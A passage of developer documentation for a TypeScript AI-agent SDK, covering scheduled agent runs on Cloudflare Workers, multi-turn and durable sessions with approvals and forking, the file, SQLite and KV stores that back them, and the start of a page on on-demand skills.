same rules as the Worker and the built server starts them when it listens
(`timezone` is supported; an invalid trigger fails the build with
`LOUSHO_SCHEDULE_INVALID`). The model calls run in the server process, so the
provider's package must be installed where it runs. On Cloudflare Workers see
below.

## In `lousho dev`

`lousho dev ./my-agent` starts the directory's schedules, so a cron fires while
you develop, and a hot reload stops the old schedules before starting the new
ones. Starting is the default so that dev behaves like the deployed server;
because firing crons (and spending model calls) while you edit is often
unwanted, `--no-schedules` mounts the channels but starts no schedule.

## On Cloudflare Workers

A Worker has no long-lived process, so no timers: Cloudflare calls the Worker's
`scheduled()` handler once per cron expression listed under `[triggers] crons`
in `wrangler.toml`. The `cloudflare-worker` target generates both from the
`triggers` of the agent spec — and, for an agent directory, from its
`schedules/` files, which follow the same rules below:

```yaml theme={null}
triggers:
  - type: cron
    name: weekly-report      # optional, default cron-1, cron-2, ...
    cron: "0 9 * * MON"      # five fields, UTC
    input: Summarise last week.
```

`lousho build` writes the deduplicated expressions to `[triggers] crons` and the
Worker's `scheduled()` runs every trigger whose `cron` equals the invoked one as
an agent turn inside `ctx.waitUntil()`. Each fire has its own session,
`schedule-<name>-<fire time>` (for example `schedule-weekly-report-2026-10-05T090000Z`),
so a daily job does not re-send every earlier report, and its run can be read
back from the checkpoints in KV when `AGENT_CHECKPOINTS` is bound (see
[Prompt schedules and sessions](#prompt-schedules-and-sessions); not
`GET /chat/<id>`). Set `sharedSession: true` on a `defineSchedule()` prompt
schedule to keep one `schedule-<name>` session instead; its conversation then
grows with every fire. The run
happens inside `ctx.waitUntil()`, past the request's lifetime, so give the
agent a store (`KVStore` on `AGENT_CHECKPOINTS`) — an in-memory one keeps the
schedule sessions only until the isolate is recycled. A failing
trigger is logged with `console.error` (name and error code) and never
stops the others, and `scheduled()` never throws. A turn that ends with a
`finishReason` other than `'stop'` is logged the same way, as
`LOUSHO_SCHEDULE_RUN_INCOMPLETE`.

Cloudflare's cron triggers differ from the in-process ones, so the build fails
with `LOUSHO_SCHEDULE_INVALID` naming the trigger instead of emitting a config
that deploys and never fires: expressions are UTC (no `timezone`), exactly five
fields (no seconds, no `@daily`), and the day-of-week must be `*` or names
(`MON-FRI`), because Cloudflare numbers days 1-7 from Sunday. The finest
granularity is one minute, and Cloudflare may start a run a few seconds late.

To wire your own Worker entry, see
[Cloudflare Workers](/cloudflare-workers#scheduled-runs).


# Sessions
Source: https://lousho.com/sessions



`agent.send(text)` is single-turn: every call starts from an empty history. A
**session** is a multi-turn conversation: it keeps the transcript and passes it
to the model on every `send()`.

See also: [Pause, restart, resume](/pause-and-resume), a short end-to-end tutorial.

> Snippets on this page leave some names to you: `provider` is any `LLMProvider` (offline: `createMockProvider()`).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const chat = createAgent({ instructions: 'Be brief.', provider });

const session = chat.session(); // in memory, new generated id
await session.send('My name is Ali.');
const { text } = await session.send('What is my name?'); // sees the first exchange

console.log(session.id, session.messages.length);
```

## The session object

| Member | Description |
| - | - |
| `id` | The session id: generated (a UUID) unless you pass one. |
| `send(input, { signal })` | Sends a user message with the whole conversation so far and resolves with the usual `ExecutionResult`. |
| `stream(input, { signal })` | Like `send()`, but returns an `AgentRun` that streams the turn as typed events - see [Streaming a session turn](#streaming-a-session-turn). |
| `messages` | A read-only snapshot of the transcript (user, assistant and tool messages; no system prompt). Editing the snapshot does not change the session. |
| `load()` | Reads the saved transcript from the store. `send()` does this for you; call it to show history before the first `send()` of a resumed session. Every call (`load()`, `send()`, `history()`, ...) reads the store again, so turns another session object committed for the same id are seen. |
| `compact(options?)` | Compacts the transcript now - see [Compacting a session](/compaction#compacting-a-session). |
| `clear()` | Empties the transcript and saves it empty (the store holds no messages for the id). Keeps the session id, store and options; deletes every turn's checkpoint and checkpoint history (`<id>.turn-<n>`, which hold copies of the transcript), so `agent.fork('<id>.turn-<n>')` cannot bring the conversation back; memory slots are cross-session and untouched. Emits `context.cleared` to `on()` listeners. Rejects with `LOUSHO_SESSION_BUSY` while a turn is running, and with `LOUSHO_SESSION_AWAITING_APPROVAL` while a durable turn waits on an approval. |
| `on(listener)` | Listens for the session's events: every turn's events as they happen (`send()` and `stream()` turns, and a paused turn continued by `agent.approvals.resolve()`), plus `compact()` / `clear()` events (`compaction.start`, `compaction.done`, `context.cleared`); returns a function that removes the listener. A turn's events are the `AgentEvent`s its `stream()` yields. |
| `pending()` | In a [durable session](#durable-sessions), the turn that has not finished (`{ status, approvalId?, approvalKind?, idempotencyKey? }`; `approvalKind` is `'question'` when the turn waits on an `ask_question`; `idempotencyKey` is the turn's HTTP `Idempotency-Key`, see [Resending a turn](/deployment#resending-a-turn)), or `null`. |
| `resume({ signal })` | In a durable session, finishes an interrupted turn and resolves with its result, or `null` when none is pending. |
| `discardPending()` | In a durable session, drops an unfinished turn without running it, and withdraws the approvals it waited on (they are no longer listed, and resolving one fails with `LOUSHO_APPROVAL_NOT_FOUND`). Also drops a turn checkpoint that cannot be read (`LOUSHO_CHECKPOINT_CORRUPT`). |
| `history()` | The steps of the transcript (one per model response, with its tool calls and results) - see [Forking a session](#forking-a-session). |
| `fork({ fromStep, id?, patch? })` | A new session that starts from this one's transcript up to a step; this session is not changed - see [Forking a session](#forking-a-session). |

Concurrent `send()` calls on one session are queued and run one after another in
call order, so the transcript never interleaves.

`agent.session({ id, turnPolicy })` chooses what a `send()` or `stream()` does
while a turn is running or waiting to start:

* `'wait'` (the default): it waits and runs as its own turn, as above.
* `'queue'`: its input joins that turn, like
  [`run.enqueue()`](/queue-and-steer#queued-input): it is added after the
  current step's tool results and the turn's next model call sees it. The call
  resolves with that turn's result (its own `signal` does not apply to the
  turn), and the transcript saved when the turn ends holds the queued user
  message in order. A joining `stream()` yields only the turn's `run.done`;
  the turn's events, `input.queued` and `input.applied` included, stream on
  the run that started it. If the turn ends before it could take the input
  (it finished, paused or was aborted), the call runs as the next turn after
  all — except in a durable session whose paused turn is still pending:
  there the call first resumes it, and rejects with
  `SessionAwaitingApprovalError` when it is still waiting on the approval
  (decide it with `agent.approvals.resolve()`). If the turn fails, the call
  rejects with the same error; in a durable
  session the input stays in the turn's checkpoint and `resume()` applies it.
* `'steer'`: like `'queue'`, but the input joins through
  [`run.steer()`](/queue-and-steer#steering): if the turn's model call has not
  emitted anything yet, it is aborted and made again with the new message, and
  tool calls of the turn that have not started are not run. Otherwise it waits
  for the next safe point, as with `'queue'`. The call resolves with the
  turn's result, and the same fallbacks apply.

The `vendor/` model prefix chooses the provider; with OpenRouter use
`openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini' });
const session = agent.session({ id: 'user-42', turnPolicy: 'queue' });

const first = session.send('Find flights to Rome.');
const second = session.send('Only direct ones, please.'); // joins the first turn
console.log((await second) === (await first)); // true: one turn, one result
```

`send()` and `stream()` take a string, content parts (`[{ type: 'text', ... }, { type: 'image', ... }]`, one user message) or a `Message[]`; the stores keep the parts, see [Multimodal input](/providers#multimodal-input).

A `send()` that throws (a provider error, or a tool that throws a
`PropagatingToolError`) leaves the transcript exactly as it was before that
call. A `send()` aborted with `signal` (a Stop button) keeps what the user and
the model already said, so `GET /chat/:id` and the next turn still have the
context:

* the user's message, once the model was called (a signal already aborted
  before the first model call drops the turn whole);
* the turn up to the last tool call that ran (the assistant's tool calls and
  their results; calls of that batch that never started keep a "cancelled"
  result), so a side effect such as a refund is never missing;
* the reply the model had streamed when it was stopped, as an assistant
  message with `metadata: { interrupted: true }` (only `stream()` streams; a
  plain `send()` call has no partial reply).

An aborted `send()` resolves with `finishReason: 'aborted'`, as `agent.send()`
does. Its `usage` counts the stopped model call, estimated from the request
and the streamed text when the provider reported none, so a session's
`limits.maxCostUsd` is not undercounted. The stored transcript never
contains an assistant tool-call turn without the matching tool results.

A `send()` that pauses on a `needsApproval` tool resolves with
`finishReason: 'awaiting-approval'`. `agent.approvals.resolve({ id, approved })`
then continues the run as the session's next turn, so the tool call, its result
and the final answer join the transcript (see
[Approvals](/approvals)).

`agent.session({ id, limits })` sets budgets across all of the session's turns
(for example `{ maxCostUsd: 1 }`), counted from the usage saved with the
transcript; `createAgent({ limits })` limits each turn on its own. See
[Budgets](/configuration#budgets).

## Streaming a session turn

`session.stream(input, { signal })` is `agent.stream()` for a conversation: it
returns the same `AgentRun` (typed events plus a `result` promise, see
[Streaming](/streaming)), but the turn sees the transcript so far and joins
it.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const chat = createAgent({ instructions: 'Be brief.', provider });
const session = chat.session();

for await (const event of session.stream('My name is Ali.')) {
  if (event.type === 'text.delta') process.stdout.write(event.text);
}
// The turn is already saved: this call sees it.
const { text } = await session.send('What is my name?');
```

* It builds the same message list as `send()` and queues behind earlier calls
  on the session (`send()` and `stream()` can be mixed).
* When the run ends, the new user message and the run's output are saved
  exactly as `send()` saves them, and only then is `run.done` delivered. When
  the `for await` loop ends, or `run.result` resolves, the transcript is
  complete. The events carry the `runId` of the returned handle.
* A failed run leaves the transcript as it was before the call, like `send()`.
  An aborted run (`signal`, or breaking out of the loop early) keeps the user's
  message, the tool calls that ran and the reply streamed so far (marked
  `metadata.interrupted`), like an aborted `send()`. A run that
  was already finished when the loop was left is saved. A failed run ends the
  stream with `error` and `run.done` (`finishReason: 'error'`), and
  `run.result` rejects. This includes a store that fails to load or save: the
  turn then has no `run.start`.
* A run that pauses on a `needsApproval` tool ends with `approval.requested`
  and `run.done` (`'awaiting-approval'`), exactly as `send()` resolves, and the
  transcript holds the turn up to the pause. `agent.approvals.resolve()`
  continues it as the session's next turn. An `approve` callback does not apply
  to streams, as with `agent.stream()`.

Sessions are a thin layer: the session owns the transcript and hands it to the
executor on each turn. Without a checkpoint store, a turn is saved only when it
ends, so a crash in the middle of a turn loses it; see the next section.

## Two kinds of conversation id

`agent.session({ id })` and `agent.send(msg, { sessionId })` are different
conversations. The SDK has two ways to keep a conversation under an id, and they do not share
storage:

| | `agent.session({ id }).send(msg)` | `agent.send(msg, { sessionId })` |
| - | - | - |
| What it is | A session: a transcript, one `send()` per turn | One durable run (see [Durable execution](/durable-execution)); calling it again with the same id continues it |
| Where the conversation lives | `store.sessions` under `id` (each turn checkpointed as `<id>.turn-<n>` while it runs) | `store.checkpoints` under `sessionId` (the checkpoint's `messages`) |
| Needs | nothing (in memory by default) | `store.checkpoints` (`LOUSHO_CONFIG_MISSING_CHECKPOINT_STORE` without one) |
| Read it back with | `session.load()`, `GET /chat/:id` | `store.checkpoints.load(sessionId)` (its `messages`), `agent.fork(sessionId)` |
| Continue it after a crash with | `agent.session({ id }).resume()` | `agent.resume(sessionId)` |

Use one model per id. An id used both ways holds two unrelated conversations:
a turn sent one way does not see the turns sent the other way, and
`GET /chat/:id` shows only the session transcript. `agent.resume(id)` looks for
a `send({ sessionId })` run first and, only when there is none, resumes the
session's pending turn, so with both present it finishes the run and leaves the
session turn pending (finish that with `agent.session({ id }).resume()`).
Prompt schedules run as `send({ sessionId })` runs (see
[Schedules](/schedules#prompt-schedules-and-sessions)), so read a schedule's
reports from `store.checkpoints`, not `GET /chat/:id`.

## Durable sessions

Give the agent a `store` with checkpoints and every session turn is
checkpointed after each model response and tool result, using the
[durable execution](/durable-execution) mechanism. A turn interrupted by a
crash, a failed checkpoint write or a `PropagatingToolError` can then be
finished later, in another process:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { SqliteStore } from '@lousho/build-ai-agent/sqlite';

const agent = createAgent({ provider, store: new SqliteStore('./.lousho/agent.db') });

// After a restart: finish the turn that was running, if any.
const finished = await agent.resume('user-42'); // ExecutionResult, or null when nothing was pending
console.log(finished?.text, await agent.session({ id: 'user-42' }).pending()); // pending() is null now
```

* `createAgent({ store })` takes any `AgentStore`
  (`{ sessions?, checkpoints?, approvals? }`, see [Choosing a store](#choosing-a-store)):
  `agent.session({ id })` keeps its transcript in `store.sessions` and
  checkpoints in `store.checkpoints`, and `store.approvals` holds approval
  pauses. A session's own `store` (a `SessionStore`, or a
  `{ sessions, checkpoints }` object) and `checkpointStore` win over the
  agent's, part by part.
* `agent.resume(id)` is `agent.session({ id }).resume()`, except that it first
  finishes a run started with `agent.send(message, { sessionId: id })` (see
  [Durable execution](/durable-execution) and
  [the two kinds of id](#two-kinds-of-conversation-id)).
* Each turn runs with `sessionId: '<session id>.turn-<n>'` (`n` is the length
  of the transcript when the turn started), so a new process finds the
  interrupted turn without any extra bookkeeping. A finished turn joins the
  transcript, exactly as a plain `send()` does, and its checkpoint is deleted.
  The turn id is only the checkpoint key: tools, `needsApproval`, permission
  rules and tool-call hooks still get the session's own id as `ctx.sessionId`.
  The turn's checkpoint history is kept for the latest `turnHistoryLimit`
  committed turns (default 10, `agent.session({ id, turnHistoryLimit })`), so
  `agent.fork('<id>.turn-<n>', { fromStep })` can fork those; older turns'
  histories are deleted as new turns commit (each history entry holds a copy of
  the whole transcript, so keeping every turn's would grow the store with the
  square of the conversation's length), also when every turn uses a new store
  object or process. History outside the window that is already in the store -
  kept by an earlier release, or under a larger `turnHistoryLimit` - is deleted
  over the next commits too, up to 32 turns per commit, oldest first; a process
  that commits only one turn gets through the oldest 32, and
  `fileStore(dir).prune()` / `SqliteStore.prune()` delete the rest.
  `session.fork()` works from the transcript and is not limited by it.
* While a turn runs, it holds a run lease on its checkpoint (see
  [Durable execution](/durable-execution#run-leases)): a `send()` on the same
  session from another process, replica or store object fails with
  `LOUSHO_SESSION_BUSY` before it runs anything, instead of resuming the live
  turn and running its tool calls a second time.
* `resume()` continues the turn through the executor's resume path
  (`input: []`): tool calls whose results were recorded do not run again, and
  a recorded model response is not requested again. A tool that was running
  when the process died does run again (at-least-once, see
  [Durable execution](/durable-execution#at-least-once-tools-make-side-effects-idempotent)).
* `send()` and `stream()` resume a pending turn first, then send the new
  message, so the model sees the finished turn (the resumed turn's events are
  not streamed). Use `pending()` to check first, or `discardPending()` to drop
  the unfinished turn instead.
* A turn that fails records the error and the attempt count on its checkpoint
  (`lastError`, `attempts`). When the error will not go away by retrying (a
  provider 400 such as a context-length overflow, an auth failure), the next
  `send()` / `stream()` does not replay the turn: it fails with
  `LOUSHO_SESSION_TURN_FAILED`. Call `discardPending()` to drop the turn, or
  `resume()` to retry it once the cause is fixed. Other failures (a crash, a
  5xx, a network error) are still resumed by the next `send()`. This holds
  for a turn whose very first model call fails too: the run has saved no
  checkpoint yet, so the session keeps the turn's input as the pending turn
  (`pending()` reports it `in-progress`) and runs it again from that input.
* A turn that pauses on a `needsApproval` tool stays in its checkpoint, not in
  the transcript, until it finishes. While it waits, `resume()`, `send()` and
  `stream()` throw `SessionAwaitingApprovalError` (with its `approvalId`), and
  `agent.approvals.resolve({ id, approved })` continues the turn in this
  session. After a restart, `agent.approvals.resolve()` or `streamResolve()`
  from the new process continues it too: the agent finds the session from the
  pause record (for session ids of letters, digits, `_` and `-`), so there is
  no need to open the session or call `resume()` first. Give both agents the
  same durable `store` (or `approvalStore`).
* `resume()` returns the finished turn's result; it does not stream, and
  `stream()` does not stream the pending turn it finishes first either. To
  show a resumed turn's progress, register `session.on(listener)` before the
  call (or pass `createAgent({ onEvent })`): it gets the turn's `AgentEvent`s
  as they happen.
* A paused turn locks the session id: the session records it under
  `<id>.paused` in the checkpoint store, so `agent.send(message, { sessionId: id })`,
  `agent.stream()` with that `sessionId`, and a session object over a different
  transcript (another store, or one of another length) are refused with
  `SessionAwaitingApprovalError` (`LOUSHO_SESSION_AWAITING_APPROVAL`) too, and
  their `pending()` reports the pause. Decide the approval, or drop the turn with
  `agent.session({ id }).discardPending()`, to take new turns again.
* An aborted turn's checkpoint is deleted; what it kept (the user's message,
  the tool calls that ran, the interrupted reply) joins the transcript, as
  without a checkpoint store. `clear()` deletes a pending turn too, and the checkpoint
  history of every turn, so cleared turns are no longer forkable.

## Stores

A `SessionStore` keeps transcripts between calls:

```ts theme={null}
import type { Message } from '@lousho/build-ai-agent';

interface SessionStore {
  load(id: string): Promise<Message[] | undefined>;
  save(id: string, messages: readonly Message[]): Promise<void>;
  delete(id: string): Promise<void>;
  // Optional compare-and-swap: save only if the stored transcript still has this revision.
  saveIf?(id: string, expectedRevision: string, messages: readonly Message[]): Promise<boolean>;
}
```

Each turn commits through `saveIf` when the store has it, with
`transcriptRevision(<the transcript the turn started from>)`. Two processes (or
two store objects over the same data) that finish a turn on one session at the
same moment then cannot both commit: one wins, the other's `send()` rejects with
`LOUSHO_SESSION_BUSY`. `MemorySessionStore`, `FileSessionStore` (a
`<id>.json.lock` file created exclusively; a lock older than `staleLockMs`,
default 10 s, is taken over) and `SqliteStore.sessions` (one `BEGIN IMMEDIATE`
transaction) implement it. A store without it, such as `KVStore.sessions` (KV
has no compare-and-swap), gets a best-effort load, compare and save, which a
writer in another process can still slip between, losing one turn.

* `MemorySessionStore` (the default, one new store per session) lives as long as
  the process. Share one instance between sessions to look them up by id.
* `FileSessionStore(dir)` writes one JSON file per session (`<dir>/<id>.json`),
  atomically (temp file, then rename), creating `dir` on first save. Each
  uppercase letter of the id is written as `^` and the letter in lowercase
  (`Alice` -> `^alice.json`), so ids that differ only in case get different
  files on Windows and macOS too.

```ts theme={null}
import { createAgent, FileSessionStore } from '@lousho/build-ai-agent';

const agent = createAgent({ provider });
const store = new FileSessionStore('./.lousho/sessions');

const first = agent.session({ id: 'user-42', store });
await first.send('My name is Ali.');

// Later, even in another process or another createAgent() instance:
const again = agent.session({ id: 'user-42', store });
await again.send('What is my name?'); // "Ali"
```

Session ids must match `^[A-Za-z0-9_-]{1,128}$` (they become file names, so
`../x` and `a/b` are refused with an error that says so). Implement
`SessionStore` yourself to keep transcripts in a database or Redis.

An `AgentStore` has a fourth optional part next to `sessions`, `checkpoints`
and `approvals`: `tokens`, the OAuth access and refresh tokens of tools and
connections, kept encrypted by the file, SQLite and KV stores (see
[OAuth](/oauth#token-storage)).

## Choosing a store

Sessions, durable-execution checkpoints and approvals each have a store
interface (`SessionStore`, `CheckpointStore`, `ApprovalStore`). Pick the
implementation by where the process runs:

| Store | Sessions | Checkpoints | Approvals | Use it when |
| - | - | - | - | - |
| In memory (`memoryStore()`) | `MemorySessionStore` | in memory | `InMemoryApprovalStore` | Tests, scripts, one process that never restarts |
| Files (`fileStore(dir)`) | `<dir>/sessions/<id>.json` | `<dir>/checkpoints/`, `<dir>/checkpoint-history/` | `<dir>/approvals/<id>.json` | One machine, you want plain inspectable files |
| SQLite | `store.sessions` | `store.checkpoints` | `store.approvals` | A Node server: one durable, transactional file, shared by several processes on one host (see [Sharing a SQLite file](#sharing-a-sqlite-file)) |
| Cloudflare KV (`KVStore` from `@lousho/build-ai-agent/kv`) | `store.sessions` | `store.checkpoints` | `store.approvals` | Workers deployments (see [Deployment](/deployment)) |

Each one is an `AgentStore` part: pass them together as
`createAgent({ store: { sessions, checkpoints, approvals } })`. `memoryStore()`,
`fileStore(dir)`, `SqliteStore` and `KVStore` are ready-made `AgentStore`s. For
plain files, `fileStore(dir)` writes one JSON file per session, checkpoint and
pending approval under `dir`, each written to a temp file, flushed to disk and
renamed into place (so a crash or a power loss never leaves half a file). On Windows a rename over, or a read of, a file that
another writer or reader has open fails for a moment with `EPERM`, `EACCES` or
`EBUSY`; `fileStore()` and `FileSessionStore` retry it with a short backoff (about
1.3 s in all) and then fail with `LOUSHO_STORAGE_FAILED`. Concurrent saves to one
file still end with one of them (the last rename wins):

```ts theme={null}
import { createAgent, fileStore } from '@lousho/build-ai-agent';

const agent = createAgent({ provider, store: fileStore('./.lousho') });
// ./.lousho/sessions/user-42.json, ./.lousho/checkpoints/..., ./.lousho/approvals/...
await agent.session({ id: 'user-42' }).send('Hello');
```

In every file name, an uppercase letter of the id is written as `^` and the
letter in lowercase (`Alice` -> `sessions/^alice.json`): the default
filesystems of Windows and macOS ignore case, and `alice` and `Alice` must not
share a transcript. An id without uppercase letters keeps its plain name. A file
saved by an older version under a mixed-case name (`Alice.json`) is still read
for exactly that id, and moved to its new name on the next save. An id that
would make too long a file name once encoded (an all-uppercase 128-character
session id plus `.turn-<n>`), or a Windows device name (`nul`, `com1`), is
stored as `~<prefix>~<hash>.json` instead.

Each `checkpoints/<id>.json` has a `checkpoint-history/<id>.json` next to it:
the checkpoint's bounded history, oldest first. Directories are created on
first write, so `approvals/` (and `oauth/`) only appear after the first pending
approval (or sign-in).

Resolving an approval from `fileStore` is safe across processes (only one
caller gets the record, and a claim a crashed resolver left is taken over after
a minute); a session commits its turns with a compare-and-swap under a lock file
(`sessions/<id>.json.lock`), and a running checkpointed run holds its run lease
in `leases/<id>.json` (see [Durable execution](/durable-execution#run-leases)).
For many processes sharing a store, `SqliteStore` is the sturdier choice.

`fileStore(dir).prune({ olderThanMs })` deletes what was last written more than
`olderThanMs` ago, like `SqliteStore.prune()`: transcripts, checkpoints and
checkpoint history files, plus expired pending OAuth sign-ins. A run paused on
a pending approval is kept, however old (its checkpoint, its history and its
session's transcript), and so are pending approvals and OAuth tokens. It
resolves with the counts, `{ sessions, checkpoints, checkpointHistory, oauthPending }`:

```ts theme={null}
import { fileStore } from '@lousho/build-ai-agent';

const store = fileStore('./.lousho');
await store.prune({ olderThanMs: 30 * 24 * 60 * 60 * 1000 }); // a month
```

Any object with the three methods of a part works there too: a Redis
`SessionStore`, or a KV-backed `CheckpointStore` on Cloudflare Workers (the
generated Worker uses `KVCheckpointStore`, see [Deployment](/deployment)).

`SqliteStore` keeps all three in one database file, using Node's built-in
`node:sqlite` (no native dependency; needs Node 22.13 or newer, and it is not
re-exported from the root entry, so importing the SDK never loads it):

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { SqliteStore } from '@lousho/build-ai-agent/sqlite';

const store = new SqliteStore('./.lousho/agent.db'); // or ':memory:'
const agent = createAgent({ provider, store }); // transcripts, per-step checkpoints and approvals
await agent.session({ id: 'user-42' }).send('Hello');

store.prune({ olderThanMs: 7 * 24 * 60 * 60 * 1000 }); // { sessions, checkpoints, approvals, oauthPending } deleted
store.close();
```

With the executor directly, pass `store.checkpoints` as `checkpointStore` and
`store.approvals` as `approvalStore`; see [the executor API](/executor-api).

* The directory is created if missing. The schema is versioned with
  `PRAGMA user_version` and migrated on open; a database written by a newer
  release is refused.
* WAL mode and a short lock wait with retries (about 5 s in all, then
  `LOUSHO_STORAGE_BUSY`) let several processes share the file. An approval can
  be resolved by only one of them. See [Sharing a SQLite file](#sharing-a-sqlite-file).
* Checkpoints and approval snapshots are stored as opaque JSON, so new fields
  round-trip unchanged.
* `prune()` removes sessions and checkpoints not updated within `olderThanMs`,
  approvals resolved that long ago and expired pending OAuth sign-ins;
  unresolved approvals and OAuth tokens are kept, and so is a turn paused on
  an unresolved approval (its checkpoint and the session's transcript),
  however old. Resolving an approval whose paused turn was deleted anyway
  fails with [`LOUSHO_APPROVAL_ORPHANED`](/errors#lousho_approval_orphaned)
  without running the tool.
* A file that is not a SQLite database fails with an error naming the path;
  using the store after `close()` throws a clear error.

### Sharing a SQLite file

This is the one statement the other pages link to.

* **Supported:** several processes (for example two Docker replicas on one
  named volume, or a server and a CLI) on **one host**, sharing one SQLite file
  on a **local disk**. The file runs in WAL mode, and each session turn holds a
  [run lease](/durable-execution#run-leases), so replicas can alternate
  messages on one session. A write to a session another process is running
  fails with `LOUSHO_SESSION_BUSY`; `POST /chat` and the channels answer that
  with `409` and a `Retry-After` header, so retry.
* **Not supported:** a SQLite file on a network filesystem (NFS, EFS, SMB),
  whose locking SQLite cannot rely on, and several hosts. For several hosts,
  implement `SessionStore`, `CheckpointStore` and `ApprovalStore` over a shared
  database such as Postgres or Redis. The SDK ships no network store.
* **Clocks and PIDs:** leases are judged by each process's own clock, so keep
  replica clocks in sync (NTP). A crashed run is taken over early only when
  its process is provably gone on the same host (boot id, PID namespace and
  process start time are checked); otherwise it waits 30 to 60 seconds for the
  lease to expire. See [Run leases](/durable-execution#run-leases).

## Project instructions

Not part of sessions, but often wanted together: see "Project instructions" in
[Configuration](/configuration) to give an agent your repository's
`AGENTS.md`.

## Forking a session

`session.history()` lists the steps of a session, and `session.fork({ fromStep })`
starts a new session from any of them, so you can try another direction
without losing the original conversation:

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const searchFlights = defineTool({
  name: 'search_flights',
  description: 'Find flights to a city',
  input: z.object({ to: z.string() }),
  execute: async ({ to }) => `2 flights to ${to}`,
});
const agent = createAgent({
  tools: [searchFlights],
  provider: mockModel([
    { toolCalls: [{ name: 'search_flights', args: { to: 'Lisbon' } }] },
    'Two flights to Lisbon on Friday.',
    'Porto has a direct flight at 9:00.',
  ]),
});
const session = agent.session({ id: 'trip' });
await session.send('Find me a flight to Lisbon on Friday.');

for (const { step, turn, text, toolCalls } of await session.history()) {
  console.log(step, turn, text, toolCalls.map((call) => `${call.name} -> ${call.result}`));
}

// Keep everything up to and including step 1, then go another way.
const fork = await session.fork({ fromStep: 1 }); // saved in the same store
const reply = await fork.send('Look at Porto instead.');
console.log(fork.id, reply.text); // 'trip-fork-1', 'Porto has a direct flight at 9:00.'
```

* A **step** is one model response in the transcript: an assistant message,
  plus the tool messages answering its tool calls. `history()` returns
  `{ step, turn, messageIndex, text, toolCalls }` for each, oldest first:
  `step` is numbered from 1 across the whole session (not per turn), `turn`
  from 0, `messageIndex` is the assistant message's index in
  `session.messages`, and each tool call has its `id`, `name`, parsed `args`
  (the raw string when it is not JSON) and `result` (the tool message's
  content as text, JSON-encoded as the model saw it). The steps are copies.
* A **turn** starts at every user message, so a step's `turn` is the 0-based
  index of the user message it answers, the same numbering as workspace
  rewind uses. Input queued or steered into a running turn
  (`turnPolicy: 'queue'` or `'steer'`) is a user message too, so it starts a
  new turn in `history()`.
* `history()` is the history of the current transcript: after
  `session.compact()` the steps are renumbered from the compacted transcript.
  A durable turn that has not finished is not in the transcript yet, so it is
  not listed.
* `fork({ fromStep })` keeps the transcript up to and including the step's
  last tool message; `fromStep: 0` keeps nothing. A step outside
  `0..history().length` is refused with
  [`LOUSHO_SESSION_STEP_NOT_FOUND`](/errors#lousho_session_step_not_found),
  whose message lists the valid range.
* `patch: { toolResult: { toolCallId, result } }` replaces the result of one
  tool call in the kept transcript ("what if the search had found nothing?"),
  the same way as `agent.fork()`'s patch.
* The fork is saved in the session's own store and is a session of the same
  agent with the same options (`store`, checkpoints, `limits`, `turnPolicy`,
  `compaction`, and the [permission mode](/permission-modes) the session
  has when it forks), so streaming, approvals and checkpointed turns work as on any
  `agent.session()`, and `agent.session({ id: fork.id, store })` continues it
  later, in another process too. Its id is `id` when you pass one, else
  `<id>-fork-<n>` for the first `n` from 1 that has no transcript (for an id
  too long for that suffix, `<start of id>-<8 hex of its hash>-fork-<n>`, still
  within 128 characters). An `id` that
  already has a transcript (or the session's own id) is refused with
  [`LOUSHO_SESSION_EXISTS`](/errors#lousho_session_exists).
* The fork's `messages` hold its transcript as soon as `fork()` resolves.
* The original session's transcript and checkpoints are not changed.
* Budgets: the spend recorded for `limits` stays on the kept messages, so a
  fork's `limits` start from what the session had spent at the end of the last
  turn it keeps (a turn records its spend on its last message).
* `fork()` waits for queued calls, and rejects with `LOUSHO_SESSION_BUSY` while
  a turn is running.
* A paused session can be forked. The paused turn, its approval or
  `ask_question` and a durable session's interrupted turn stay with the source
  session: the fork has no pending turn, and `agent.approvals.resolve()`
  continues the source only, once.
* Only the conversation is forked. Files the agent wrote and other side
  effects of the steps after the fork point are not undone; to restore
  workspace files, see the rewind part of [Workspace tools](/workspace-tools).

To fork a single run started with `agent.send(message, { sessionId })`, from
its checkpoint history, use `agent.fork()` instead (see
[Fork and replay](/durable-execution#fork-and-replay)).


# Skills
Source: https://lousho.com/skills



A skill is a named chunk of instructions (a markdown document) that the model
loads **only when it needs it**. This is progressive disclosure: instead of
pasting every playbook into the system prompt, you list skills by name and
one-line description, and the model pulls in the full text on demand.

How it works when an agent has skills:

1. The system prompt gets a compact **Available skills** block: one line per
   skill (`- name: description`) plus one sentence telling the model to call
   `load_skill` before doing a task a skill covers.
2. A `load_skill` tool (input `{ name }`) is registered automatically. It
   returns the skill's full content as the tool result.
3. Skill bodies are **not** in the prompt until loaded. An agent with twenty
   long skills pays roughly one line per skill on every request, and the body
   cost only on the runs that use it.

An unknown name is a tool error that lists the valid skill names, so the model
can correct itself.

## Skills in code

```ts theme={null}
import { createAgent, defineSkill } from '@lousho/build-ai-agent';

const agent = createAgent({
  instructions: 'You are a release engineer.',
  provider,
  skills: [
    defineSkill({
      name: 'changelog',
      description: 'How to write a changelog entry',
      content: '# Changelog entries\n\nUse the imperative mood and link the PR.',
    }),
  ],
});
```

`defineSkill({ name, description, content })` validates its input. `name` must
match `^[a-z0-9][a-z0-9-_]{0,63}$`; `description` and `content` must be
non-empty. Errors say what is wrong and how to fix it.

`AgentExecutor.execute()` takes the same `skills` option; see
[the executor API](/executor-api).

If you already registered a tool named `load_skill`, passing `skills` throws:
rename your tool or drop the option.

## Skills from disk

`loadSkills(dir)` reads skill files, so non-developers can edit them without
touching code. Two layouts are supported and can be mixed in one directory:

```
skills/
  changelog/SKILL.md      # <name>/SKILL.md  (Anthropic / open-harness convention)
  code-review.md          # <name>.md        (eve convention)
```

Each file starts with YAML frontmatter; the rest is the skill's content:

```markdown theme={null}
---
description: How to write a changelog entry
---

# Changelog entries

Use the imperative mood and link the PR.
```

* `description` is required.
* `name` is optional and defaults to the folder name (`SKILL.md` layout) or the
  file name without `.md`.
* Folders without a `SKILL.md` are ignored. So is a loose `.md` file with no
  frontmatter (a `README.md`): it is skipped with a console warning instead of
